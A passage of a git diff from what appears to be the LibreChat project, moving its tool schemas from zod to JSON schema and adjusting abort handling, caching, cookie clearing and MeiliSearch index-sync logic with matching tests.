+ derivedSignal = AbortSignal.any([runnableConfig.signal]);
+ abortHandler = () => logger.debug('[GeminiImageGen] Image generation aborted');
+ derivedSignal.addEventListener('abort', abortHandler, { once: true });
+ config.abortSignal = derivedSignal;
+ }
+
+ try {
apiResponse = await ai.models.generateContent({
model: geminiModel,
contents,
@@ -480,9 +395,12 @@ function createGeminiImageTool(fields = {}) {
[{ type: ContentTypes.TEXT, text: `Image generation failed: ${error.message}` }],
{ content: [], file_ids: [] },
];
+ } finally {
+ if (abortHandler && derivedSignal) {
+ derivedSignal.removeEventListener('abort', abortHandler);
+ }
}
- // Check for safety blocks
const safetyBlock = checkForSafetyBlock(apiResponse);
if (safetyBlock) {
logger.warn('[GeminiImageGen] Safety block:', safetyBlock);
@@ -509,46 +427,7 @@ function createGeminiImageTool(fields = {}) {
const imageData = convertedBuffer.toString('base64');
const mimeType = outputFormat === 'jpeg' ? 'image/jpeg' : `image/${outputFormat}`;
- logger.debug('[GeminiImageGen] Image format:', { outputFormat, mimeType });
-
- let imageUrl;
- const useLocalStorage = !fileStrategy || fileStrategy === FileSources.local;
-
- if (useLocalStorage) {
- try {
- imageUrl = await saveImageLocally(imageData, outputFormat, userId);
- } catch (error) {
- logger.error('[GeminiImageGen] Local save failed:', error);
- imageUrl = `data:${mimeType};base64,${imageData}`;
- }
- } else {
- const cloudUrl = await saveToCloudStorage({
- base64Data: imageData,
- format: outputFormat,
- processFileURL,
- fileStrategy,
- userId,
- });
-
- if (cloudUrl) {
- imageUrl = cloudUrl;
- } else {
- // Fallback to local
- try {
- imageUrl = await saveImageLocally(imageData, outputFormat, userId);
- } catch (_error) {
- imageUrl = `data:${mimeType};base64,${imageData}`;
- }
- }
- }
-
- logger.debug('[GeminiImageGen] Image URL:', imageUrl);
-
- // For the artifact, we need a data URL (same as OpenAI)
- // The local file save is for persistence, but the response needs a data URL
const dataUrl = `data:${mimeType};base64,${imageData}`;
-
- // Return in content_and_artifact format (same as OpenAI)
const file_ids = [v4()];
const content = [
{
@@ -567,12 +446,15 @@ function createGeminiImageTool(fields = {}) {
},
];
- // Record token usage for balance tracking (don't await to avoid blocking response)
- const conversationId = _runnableConfig?.configurable?.thread_id;
+ const conversationId = runnableConfig?.configurable?.thread_id;
+ const messageId =
+ runnableConfig?.configurable?.run_id ??
+ runnableConfig?.configurable?.requestBody?.messageId;
recordTokenUsage({
usageMetadata: apiResponse.usageMetadata,
req,
userId,
+ messageId,
conversationId,
model: geminiModel,
}).catch((error) => {
diff --git a/api/app/clients/tools/structured/GoogleSearch.js b/api/app/clients/tools/structured/GoogleSearch.js
index d703d56f83..38f483edf1 100644
--- a/api/app/clients/tools/structured/GoogleSearch.js
+++ b/api/app/clients/tools/structured/GoogleSearch.js
@@ -1,12 +1,33 @@
-const { z } = require('zod');
const { Tool } = require('@langchain/core/tools');
const { getEnvironmentVariable } = require('@langchain/core/utils/env');
+const googleSearchJsonSchema = {
+ type: 'object',
+ properties: {
+ query: {
+ type: 'string',
+ minLength: 1,
+ description: 'The search query string.',
+ },
+ max_results: {
+ type: 'integer',
+ minimum: 1,
+ maximum: 10,
+ description: 'The maximum number of search results to return. Defaults to 5.',
+ },
+ },
+ required: ['query'],
+};
+
class GoogleSearchResults extends Tool {
static lc_name() {
return 'google';
}
+ static get jsonSchema() {
+ return googleSearchJsonSchema;
+ }
+
constructor(fields = {}) {
super(fields);
this.name = 'google';
@@ -28,25 +49,11 @@ class GoogleSearchResults extends Tool {
this.description =
'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.';
- this.schema = z.object({
- query: z.string().min(1).describe('The search query string.'),
- max_results: z
- .number()
- .min(1)
- .max(10)
- .optional()
- .describe('The maximum number of search results to return. Defaults to 10.'),
- // Note: Google API has its own parameters for search customization, adjust as needed.
- });
+ this.schema = googleSearchJsonSchema;
}
async _call(input) {
- const validationResult = this.schema.safeParse(input);
- if (!validationResult.success) {
- throw new Error(`Validation failed: ${JSON.stringify(validationResult.error.issues)}`);
- }
-
- const { query, max_results = 5 } = validationResult.data;
+ const { query, max_results = 5 } = input;
const response = await fetch(
`https://www.googleapis.com/customsearch/v1?key=${this.apiKey}&cx=${
diff --git a/api/app/clients/tools/structured/OpenWeather.js b/api/app/clients/tools/structured/OpenWeather.js
index f92fe522ce..38e2b9133c 100644
--- a/api/app/clients/tools/structured/OpenWeather.js
+++ b/api/app/clients/tools/structured/OpenWeather.js
@@ -1,8 +1,52 @@
const { Tool } = require('@langchain/core/tools');
-const { z } = require('zod');
const { getEnvironmentVariable } = require('@langchain/core/utils/env');
const fetch = require('node-fetch');
+const openWeatherJsonSchema = {
+ type: 'object',
+ properties: {
+ action: {
+ type: 'string',
+ enum: ['help', 'current_forecast', 'timestamp', 'daily_aggregation', 'overview'],
+ description: 'The action to perform',
+ },
+ city: {
+ type: 'string',
+ description: 'City name for geocoding if lat/lon not provided',
+ },
+ lat: {
+ type: 'number',
+ description: 'Latitude coordinate',
+ },
+ lon: {
+ type: 'number',
+ description: 'Longitude coordinate',
+ },
+ exclude: {
+ type: 'string',
+ description: 'Parts to exclude from the response',
+ },
+ units: {
+ type: 'string',
+ enum: ['Celsius', 'Kelvin', 'Fahrenheit'],
+ description: 'Temperature units',
+ },
+ lang: {
+ type: 'string',
+ description: 'Language code',
+ },
+ date: {
+ type: 'string',
+ description: 'Date in YYYY-MM-DD format for timestamp and daily_aggregation',
+ },
+ tz: {
+ type: 'string',
+ description: 'Timezone',
+ },
+ },
+ required: ['action'],
+};
+
/**
* Map user-friendly units to OpenWeather units.
* Defaults to Celsius if not specified.
@@ -66,17 +110,11 @@ class OpenWeather extends Tool {
'Units: "Celsius", "Kelvin", or "Fahrenheit" (default: Celsius). ' +
'For timestamp action, use "date" in YYYY-MM-DD format.';
- schema = z.object({
- action: z.enum(['help', 'current_forecast', 'timestamp', 'daily_aggregation', 'overview']),
- city: z.string().optional(),
- lat: z.number().optional(),
- lon: z.number().optional(),
- exclude: z.string().optional(),
- units: z.enum(['Celsius', 'Kelvin', 'Fahrenheit']).optional(),
- lang: z.string().optional(),
- date: z.string().optional(), // For timestamp and daily_aggregation
- tz: z.string().optional(),
- });
+ schema = openWeatherJsonSchema;
+
+ static get jsonSchema() {
+ return openWeatherJsonSchema;
+ }
constructor(fields = {}) {
super();
diff --git a/api/app/clients/tools/structured/StableDiffusion.js b/api/app/clients/tools/structured/StableDiffusion.js
index 3a1ea831d3..d7a7a4d96b 100644
--- a/api/app/clients/tools/structured/StableDiffusion.js
+++ b/api/app/clients/tools/structured/StableDiffusion.js
@@ -1,6 +1,5 @@
// Generates image using stable diffusion webui's api (automatic1111)
const fs = require('fs');
-const { z } = require('zod');
const path = require('path');
const axios = require('axios');
const sharp = require('sharp');
@@ -11,6 +10,23 @@ const { FileContext, ContentTypes } = require('librechat-data-provider');
const { getBasePath } = require('@librechat/api');
const paths = require('~/config/paths');
+const stableDiffusionJsonSchema = {
+ type: 'object',
+ properties: {
+ prompt: {
+ type: 'string',
+ description:
+ 'Detailed keywords to describe the subject, using at least 7 keywords to accurately describe the image, separated by comma',
+ },
+ negative_prompt: {
+ type: 'string',
+ description:
+ 'Keywords we want to exclude from the final image, using at least 7 keywords to accurately describe the image, separated by comma',
+ },
+ },
+ required: ['prompt', 'negative_prompt'],
+};
+
const displayMessage =
"Stable Diffusion displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user.";
@@ -46,18 +62,11 @@ class StableDiffusionAPI extends Tool {
// - Generate images only once per human query unless explicitly requested by the user`;
this.description =
"You can generate images using text with 'stable-diffusion'. This tool is exclusively for visual content.";
- this.schema = z.object({
- prompt: z
- .string()
- .describe(
- 'Detailed keywords to describe the subject, using at least 7 keywords to accurately describe the image, separated by comma',
- ),
- negative_prompt: z
- .string()
- .describe(
- 'Keywords we want to exclude from the final image, using at least 7 keywords to accurately describe the image, separated by comma',
- ),
- });
+ this.schema = stableDiffusionJsonSchema;
+ }
+
+ static get jsonSchema() {
+ return stableDiffusionJsonSchema;
}
replaceNewLinesWithSpaces(inputString) {
diff --git a/api/app/clients/tools/structured/TavilySearchResults.js b/api/app/clients/tools/structured/TavilySearchResults.js
index 796f31dcca..0faddfb666 100644
--- a/api/app/clients/tools/structured/TavilySearchResults.js
+++ b/api/app/clients/tools/structured/TavilySearchResults.js
@@ -1,8 +1,75 @@
-const { z } = require('zod');
const { ProxyAgent, fetch } = require('undici');
const { Tool } = require('@langchain/core/tools');
const { getEnvironmentVariable } = require('@langchain/core/utils/env');
+const tavilySearchJsonSchema = {
+ type: 'object',
+ properties: {
+ query: {
+ type: 'string',
+ minLength: 1,
+ description: 'The search query string.',
+ },
+ max_results: {
+ type: 'number',
+ minimum: 1,
+ maximum: 10,
+ description: 'The maximum number of search results to return. Defaults to 5.',
+ },
+ search_depth: {
+ type: 'string',
+ enum: ['basic', 'advanced'],
+ description:
+ 'The depth of the search, affecting result quality and response time (`basic` or `advanced`). Default is basic for quick results and advanced for indepth high quality results but longer response time. Advanced calls equals 2 requests.',
+ },
+ include_images: {
+ type: 'boolean',
+ description:
+ 'Whether to include a list of query-related images in the response. Default is False.',
+ },
+ include_answer: {
+ type: 'boolean',
+ description: 'Whether to include answers in the search results. Default is False.',
+ },
+ include_raw_content: {
+ type: 'boolean',
+ description: 'Whether to include raw content in the search results. Default is False.',
+ },
+ include_domains: {
+ type: 'array',
+ items: { type: 'string' },
+ description: 'A list of domains to specifically include in the search results.',
+ },
+ exclude_domains: {
+ type: 'array',
+ items: { type: 'string' },
+ description: 'A list of domains to specifically exclude from the search results.',
+ },
+ topic: {
+ type: 'string',
+ enum: ['general', 'news', 'finance'],
+ description:
+ 'The category of the search. Use news ONLY if query SPECIFCALLY mentions the word "news".',
+ },
+ time_range: {
+ type: 'string',
+ enum: ['day', 'week', 'month', 'year', 'd', 'w', 'm', 'y'],
+ description: 'The time range back from the current date to filter results.',
+ },
+ days: {
+ type: 'number',
+ minimum: 1,
+ description: 'Number of days back from the current date to include. Only if topic is news.',
+ },
+ include_image_descriptions: {
+ type: 'boolean',
+ description:
+ 'When include_images is true, also add a descriptive text for each image. Default is false.',
+ },
+ },
+ required: ['query'],
+};
+
class TavilySearchResults extends Tool {
static lc_name() {
return 'TavilySearchResults';
@@ -20,64 +87,11 @@ class TavilySearchResults extends Tool {
this.description =
'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.';
- this.schema = z.object({
- query: z.string().min(1).describe('The search query string.'),
- max_results: z
- .number()
- .min(1)
- .max(10)
- .optional()
- .describe('The maximum number of search results to return. Defaults to 5.'),
- search_depth: z
- .enum(['basic', 'advanced'])
- .optional()
- .describe(
- 'The depth of the search, affecting result quality and response time (`basic` or `advanced`). Default is basic for quick results and advanced for indepth high quality results but longer response time. Advanced calls equals 2 requests.',
- ),
- include_images: z
- .boolean()
- .optional()
- .describe(
- 'Whether to include a list of query-related images in the response. Default is False.',
- ),
- include_answer: z
- .boolean()
- .optional()
- .describe('Whether to include answers in the search results. Default is False.'),
- include_raw_content: z
- .boolean()
- .optional()
- .describe('Whether to include raw content in the search results. Default is False.'),
- include_domains: z
- .array(z.string())
- .optional()
- .describe('A list of domains to specifically include in the search results.'),
- exclude_domains: z
- .array(z.string())
- .optional()
- .describe('A list of domains to specifically exclude from the search results.'),
- topic: z
- .enum(['general', 'news', 'finance'])
- .optional()
- .describe(
- 'The category of the search. Use news ONLY if query SPECIFCALLY mentions the word "news".',
- ),
- time_range: z
- .enum(['day', 'week', 'month', 'year', 'd', 'w', 'm', 'y'])
- .optional()
- .describe('The time range back from the current date to filter results.'),
- days: z
- .number()
- .min(1)
- .optional()
- .describe('Number of days back from the current date to include. Only if topic is news.'),
- include_image_descriptions: z
- .boolean()
- .optional()
- .describe(
- 'When include_images is true, also add a descriptive text for each image. Default is false.',
- ),
- });
+ this.schema = tavilySearchJsonSchema;
+ }
+
+ static get jsonSchema() {
+ return tavilySearchJsonSchema;
}
getApiKey() {
@@ -89,12 +103,7 @@ class TavilySearchResults extends Tool {
}
async _call(input) {
- const validationResult = this.schema.safeParse(input);
- if (!validationResult.success) {
- throw new Error(`Validation failed: ${JSON.stringify(validationResult.error.issues)}`);
- }
-
- const { query, ...rest } = validationResult.data;
+ const { query, ...rest } = input;
const requestBody = {
api_key: this.apiKey,
diff --git a/api/app/clients/tools/structured/TraversaalSearch.js b/api/app/clients/tools/structured/TraversaalSearch.js
index d2ccc35c75..9bc5e399f0 100644
--- a/api/app/clients/tools/structured/TraversaalSearch.js
+++ b/api/app/clients/tools/structured/TraversaalSearch.js
@@ -1,8 +1,19 @@
-const { z } = require('zod');
const { Tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
const { getEnvironmentVariable } = require('@langchain/core/utils/env');
+const traversaalSearchJsonSchema = {
+ type: 'object',
+ properties: {
+ query: {
+ type: 'string',
+ description:
+ "A properly written sentence to be interpreted by an AI to search the web according to the user's request.",
+ },
+ },
+ required: ['query'],
+};
+
/**
* Tool for the Traversaal AI search API, Ares.
*/
@@ -17,17 +28,15 @@ class TraversaalSearch extends Tool {
Useful for when you need to answer questions about current events. Input should be a search query.`;
this.description_for_model =
'\'Please create a specific sentence for the AI to understand and use as a query to search the web based on the user\'s request. For example, "Find information about the highest mountains in the world." or "Show me the latest news articles about climate change and its impact on polar ice caps."\'';
- this.schema = z.object({
- query: z
- .string()
- .describe(
- "A properly written sentence to be interpreted by an AI to search the web according to the user's request.",
- ),
- });
+ this.schema = traversaalSearchJsonSchema;
this.apiKey = fields?.TRAVERSAAL_API_KEY ?? this.getApiKey();
}
+ static get jsonSchema() {
+ return traversaalSearchJsonSchema;
+ }
+
getApiKey() {
const apiKey = getEnvironmentVariable('TRAVERSAAL_API_KEY');
if (!apiKey && this.override) {
diff --git a/api/app/clients/tools/structured/Wolfram.js b/api/app/clients/tools/structured/Wolfram.js
index 1f7fe6b1b7..196626e39c 100644
--- a/api/app/clients/tools/structured/Wolfram.js
+++ b/api/app/clients/tools/structured/Wolfram.js
@@ -1,9 +1,19 @@
/* eslint-disable no-useless-escape */
-const { z } = require('zod');
const axios = require('axios');
const { Tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
+const wolframJsonSchema = {
+ type: 'object',
+ properties: {
+ input: {
+ type: 'string',
+ description: 'Natural language query to WolframAlpha following the guidelines',
+ },
+ },
+ required: ['input'],
+};
+
class WolframAlphaAPI extends Tool {
constructor(fields) {
super();
@@ -41,9 +51,11 @@ class WolframAlphaAPI extends Tool {
// -- Do not explain each step unless user input is needed. Proceed directly to making a better API call based on the available assumptions.`;
this.description = `WolframAlpha offers computation, math, curated knowledge, and real-time data. It handles natural language queries and performs complex calculations.
Follow the guidelines to get the best results.`;
- this.schema = z.object({
- input: z.string().describe('Natural language query to WolframAlpha following the guidelines'),
- });
+ this.schema = wolframJsonSchema;
+ }
+
+ static get jsonSchema() {
+ return wolframJsonSchema;
}
async fetchRawText(url) {
diff --git a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
index 4481a7d70f..262842b3c2 100644
--- a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
@@ -1,7 +1,6 @@
const DALLE3 = require('../DALLE3');
const { ProxyAgent } = require('undici');
-jest.mock('tiktoken');
const processFileURL = jest.fn();
describe('DALLE3 Proxy Configuration', () => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3.spec.js b/api/app/clients/tools/structured/specs/DALLE3.spec.js
index d2040989f9..6071929bfc 100644
--- a/api/app/clients/tools/structured/specs/DALLE3.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3.spec.js
@@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => {
};
});
-jest.mock('tiktoken', () => {
- return {
- encoding_for_model: jest.fn().mockReturnValue({
- encode: jest.fn(),
- decode: jest.fn(),
- }),
- };
-});
-
const processFileURL = jest.fn();
const generate = jest.fn();
diff --git a/api/app/clients/tools/util/fileSearch.js b/api/app/clients/tools/util/fileSearch.js
index d48b9b986d..2654722be4 100644
--- a/api/app/clients/tools/util/fileSearch.js
+++ b/api/app/clients/tools/util/fileSearch.js
@@ -1,4 +1,3 @@
-const { z } = require('zod');
const axios = require('axios');
const { tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
@@ -7,6 +6,18 @@ const { Tools, EToolResources } = require('librechat-data-provider');
const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { getFiles } = require('~/models');
+const fileSearchJsonSchema = {
+ type: 'object',
+ properties: {
+ query: {
+ type: 'string',
+ description:
+ "A natural language query to search for relevant information in the files. Be specific and use keywords related to the information you're looking for. The query will be used for semantic similarity matching against the file contents.",
+ },
+ },
+ required: ['query'],
+};
+
/**
*
* @param {Object} options
@@ -182,15 +193,9 @@ Use the EXACT anchor markers shown below (copy them verbatim) immediately after
**ALWAYS mention the filename in your text before the citation marker. NEVER use markdown links or footnotes.**`
: ''
}`,
- schema: z.object({
- query: z
- .string()
- .describe(
- "A natural language query to search for relevant information in the files. Be specific and use keywords related to the information you're looking for. The query will be used for semantic similarity matching against the file contents.",
- ),
- }),
+ schema: fileSearchJsonSchema,
},
);
};
-module.exports = { createFileSearchTool, primeFiles };
+module.exports = { createFileSearchTool, primeFiles, fileSearchJsonSchema };
diff --git a/api/app/clients/tools/util/handleTools.js b/api/app/clients/tools/util/handleTools.js
index da4c687b4d..d82a0d6930 100644
--- a/api/app/clients/tools/util/handleTools.js
+++ b/api/app/clients/tools/util/handleTools.js
@@ -7,10 +7,12 @@ const {
} = require('@librechat/agents');
const {
checkAccess,
+ toolkitParent,
createSafeUser,
mcpToolPattern,
loadWebSearchAuth,
buildImageToolContext,
+ buildWebSearchContext,
} = require('@librechat/api');
const { getMCPServersRegistry } = require('~/config');
const {
@@ -19,7 +21,6 @@ const {
Permissions,
EToolResources,
PermissionTypes,
- replaceSpecialVars,
} = require('librechat-data-provider');
const {
availableTools,
@@ -207,7 +208,7 @@ const loadTools = async ({
},
gemini_image_gen: async (toolContextMap) => {
const authFields = getAuthFields('gemini_image_gen');
- const authValues = await loadAuthValues({ userId: user, authFields });
+ const authValues = await loadAuthValues({ userId: user, authFields, throwError: false });
const imageFiles = options.tool_resources?.[EToolResources.image_edit]?.files ?? [];
const toolContext = buildImageToolContext({
imageFiles,
@@ -222,7 +223,6 @@ const loadTools = async ({
isAgent: !!agent,
req: options.req,
imageFiles,
- processFileURL: options.processFileURL,
userId: user,
fileStrategy,
});
@@ -325,24 +325,7 @@ const loadTools = async ({
});
const { onSearchResults, onGetHighlights } = options?.[Tools.web_search] ?? {};
requestedTools[tool] = async () => {
- toolContextMap[tool] = `# \`${tool}\`:
-Current Date & Time: ${replaceSpecialVars({ text: '{{iso_datetime}}' })}
-
-**Execute immediately without preface.** After search, provide a brief summary addressing the query directly, then structure your response with clear Markdown formatting (## headers, lists, tables). Cite sources properly, tailor tone to query type, and provide comprehensive details.
-
-**CITATION FORMAT - UNICODE ESCAPE SEQUENCES ONLY:**
-Use these EXACT escape sequences (copy verbatim): \\ue202 (before each anchor), \\ue200 (group start), \\ue201 (group end), \\ue203 (highlight start), \\ue204 (highlight end)
-
-Anchor pattern: \\ue202turn{N}{type}{index} where N=turn number, type=search|news|image|ref, index=0,1,2...
-
-**Examples (copy these exactly):**
-- Single: "Statement.\\ue202turn0search0"
-- Multiple: "Statement.\\ue202turn0search0\\ue202turn0news1"
-- Group: "Statement. \\ue200\\ue202turn0search0\\ue202turn0news1\\ue201"
-- Highlight: "\\ue203Cited text.\\ue204\\ue202turn0search0"
-- Image: "See photo\\ue202turn0image0."
-
-**CRITICAL:** Output escape sequences EXACTLY as shown. Do NOT substitute with † or other symbols. Place anchors AFTER punctuation. Cite every non-obvious fact/quote. NEVER use markdown links, [1], footnotes, or HTML tags.`.trim();
+ toolContextMap[tool] = buildWebSearchContext();
return createSearchTool({
...result.authResult,
onSearchResults,
@@ -387,8 +370,16 @@ Anchor pattern: \\ue202turn{N}{type}{index} where N=turn number, type=search|new
continue;
}
- if (customConstructors[tool]) {
- requestedTools[tool] = async () => customConstructors[tool](toolContextMap);
+ const toolKey = customConstructors[tool] ? tool : toolkitParent[tool];
+ if (toolKey && customConstructors[toolKey]) {
+ if (!requestedTools[toolKey]) {
+ let cached;
+ requestedTools[toolKey] = async () => {
+ cached ??= customConstructors[toolKey](toolContextMap);
+ return cached;
+ };
+ }
+ requestedTools[tool] = requestedTools[toolKey];
continue;
}
diff --git a/api/cache/banViolation.js b/api/cache/banViolation.js
index 122355edb1..4d321889c1 100644
--- a/api/cache/banViolation.js
+++ b/api/cache/banViolation.js
@@ -55,6 +55,7 @@ const banViolation = async (req, res, errorMessage) => {
res.clearCookie('refreshToken');
res.clearCookie('openid_access_token');
+ res.clearCookie('openid_id_token');
res.clearCookie('openid_user_id');
res.clearCookie('token_provider');
diff --git a/api/cache/getLogStores.js b/api/cache/getLogStores.js
index 40aac08ee6..70eb681e53 100644
--- a/api/cache/getLogStores.js
+++ b/api/cache/getLogStores.js
@@ -37,6 +37,7 @@ const namespaces = {
[CacheKeys.ROLES]: standardCache(CacheKeys.ROLES),
[CacheKeys.APP_CONFIG]: standardCache(CacheKeys.APP_CONFIG),
[CacheKeys.CONFIG_STORE]: standardCache(CacheKeys.CONFIG_STORE),
+ [CacheKeys.TOOL_CACHE]: standardCache(CacheKeys.TOOL_CACHE),
[CacheKeys.PENDING_REQ]: standardCache(CacheKeys.PENDING_REQ),
[CacheKeys.ENCODED_DOMAINS]: new Keyv({ store: keyvMongo, namespace: CacheKeys.ENCODED_DOMAINS }),
[CacheKeys.ABORT_KEYS]: standardCache(CacheKeys.ABORT_KEYS, Time.TEN_MINUTES),
@@ -46,11 +47,15 @@ const namespaces = {
[CacheKeys.MODEL_QUERIES]: standardCache(CacheKeys.MODEL_QUERIES),
[CacheKeys.AUDIO_RUNS]: standardCache(CacheKeys.AUDIO_RUNS, Time.TEN_MINUTES),
[CacheKeys.MESSAGES]: standardCache(CacheKeys.MESSAGES, Time.ONE_MINUTE),
- [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 3),
+ [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 10),
[CacheKeys.OPENID_EXCHANGED_TOKENS]: standardCache(
CacheKeys.OPENID_EXCHANGED_TOKENS,
Time.TEN_MINUTES,
),
+ [CacheKeys.ADMIN_OAUTH_EXCHANGE]: standardCache(
+ CacheKeys.ADMIN_OAUTH_EXCHANGE,
+ Time.THIRTY_SECONDS,
+ ),
};
/**
diff --git a/api/db/connect.js b/api/db/connect.js
index 26166ccff8..3534884b57 100644
--- a/api/db/connect.js
+++ b/api/db/connect.js
@@ -40,6 +40,10 @@ if (!cached) {
cached = global.mongoose = { conn: null, promise: null };
}
+mongoose.connection.on('error', (err) => {
+ logger.error('[connectDb] MongoDB connection error:', err);
+});
+
async function connectDb() {
if (cached.conn && cached.conn?._readyState === 1) {
return cached.conn;
diff --git a/api/db/indexSync.js b/api/db/indexSync.js
index 8e8e999d92..130cde77b8 100644
--- a/api/db/indexSync.js
+++ b/api/db/indexSync.js
@@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) {
const messageCount = messageProgress.totalDocuments;
const messagesIndexed = messageProgress.totalProcessed;
const unindexedMessages = messageCount - messagesIndexed;
+ const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
- if (settingsUpdated || unindexedMessages > syncThreshold) {
+ if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
+ if (noneIndexed && !settingsUpdated) {
+ logger.info('[indexSync] No messages marked as indexed, forcing full sync');
+ }
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
await Message.syncWithMeili();
messagesSync = true;
@@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) {
const convoCount = convoProgress.totalDocuments;
const convosIndexed = convoProgress.totalProcessed;
-
const unindexedConvos = convoCount - convosIndexed;
- if (settingsUpdated || unindexedConvos > syncThreshold) {
+ const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
+
+ if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
+ if (noneConvosIndexed && !settingsUpdated) {
+ logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
+ }
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
await Conversation.syncWithMeili();
convosSync = true;
diff --git a/api/db/indexSync.spec.js b/api/db/indexSync.spec.js
index c2e5901d6a..dbe07c7595 100644
--- a/api/db/indexSync.spec.js
+++ b/api/db/indexSync.spec.js
@@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => {
);
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
});
+
+ test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
+ Message.getSyncProgress.mockResolvedValue({
+ totalProcessed: 0,
+ totalDocuments: 680,
+ isComplete: false,
+ });
+
+ Conversation.getSyncProgress.mockResolvedValue({
+ totalProcessed: 0,
+ totalDocuments: 76,
+ isComplete: false,
+ });
+
+ Message.syncWithMeili.mockResolvedValue(undefined);
+ Conversation.syncWithMeili.mockResolvedValue(undefined);
+
+ const indexSync = require('./indexSync');
+ await indexSync();
+
+ expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
+ expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] No messages marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] Starting message sync (680 unindexed)',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] No conversations marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
+ });
+
+ test('does NOT force sync when some documents already indexed and below threshold', async () => {
+ Message.getSyncProgress.mockResolvedValue({
+ totalProcessed: 630,
+ totalDocuments: 680,
+ isComplete: false,
+ });
+
+ Conversation.getSyncProgress.mockResolvedValue({
+ totalProcessed: 70,
+ totalDocuments: 76,
+ isComplete: false,
+ });
+
+ const indexSync = require('./indexSync');
+ await indexSync();
+
+ expect(Message.syncWithMeili).not.toHaveBeenCalled();
+ expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
+ expect(mockLogger.info).not.toHaveBeenCalledWith(
+ '[indexSync] No messages marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).not.toHaveBeenCalledWith(
+ '[indexSync] No conversations marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
+ );
+ });
});
diff --git a/api/db/utils.js b/api/db/utils.js
index 4a311d9832..32051be78d 100644
--- a/api/db/utils.js
+++ b/api/db/utils.js
@@ -26,7 +26,7 @@ async function batchResetMeiliFlags(collection) {
try {
while (hasMore) {
const docs = await collection
- .find({ expiredAt: null, _meiliIndex: true }, { projection: { _id: 1 } })
+ .find({ expiredAt: null, _meiliIndex: { $ne: false } }, { projection: { _id: 1 } })
.limit(BATCH_SIZE)
.toArray();
diff --git a/api/db/utils.spec.js b/api/db/utils.spec.js
index 8b32b4aea8..adf4f6cd86 100644
--- a/api/db/utils.spec.js
+++ b/api/db/utils.spec.js
@@ -265,8 +265,8 @@ describe('batchResetMeiliFlags', () => {
const result = await batchResetMeiliFlags(testCollection);
- // Only one document has _meiliIndex: true
- expect(result).toBe(1);
+ // both documents should be updated
+ expect(result).toBe(2);
});
it('should handle mixed document states correctly', async () => {
@@ -275,16 +275,18 @@ describe('batchResetMeiliFlags', () => {
{ _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: false },
{ _id: new mongoose.Types.ObjectId(), expiredAt: new Date(), _meiliIndex: true },
{ _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: true },
+ { _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: null },
+ { _id: new mongoose.Types.ObjectId(), expiredAt: null },
]);
const result = await batchResetMeiliFlags(testCollection);
- expect(result).toBe(2);
+ expect(result).toBe(4);
const flaggedDocs = await testCollection
.find({ expiredAt: null, _meiliIndex: false })
.toArray();
- expect(flaggedDocs).toHaveLength(3); // 2 were updated, 1 was already false
+ expect(flaggedDocs).toHaveLength(5); // 4 were updated, 1 was already false
});
});
diff --git a/api/jest.config.js b/api/jest.config.js
index 20ee3c6aed..47f8b7287b 100644
--- a/api/jest.config.js
+++ b/api/jest.config.js
@@ -3,12 +3,13 @@ module.exports = {
clearMocks: true,
roots: [''],
coverageDirectory: 'coverage',
+ maxWorkers: '50%',
testTimeout: 30000, // 30 seconds timeout for all tests
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
moduleNameMapper: {
'~/(.*)': '/$1',
'~/data/auth.json': '/__mocks__/auth.mock.json',
- '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part
+ '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js',
'^openid-client$': '/test/__mocks__/openid-client.js',
},
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
diff --git a/api/models/Agent.js b/api/models/Agent.js
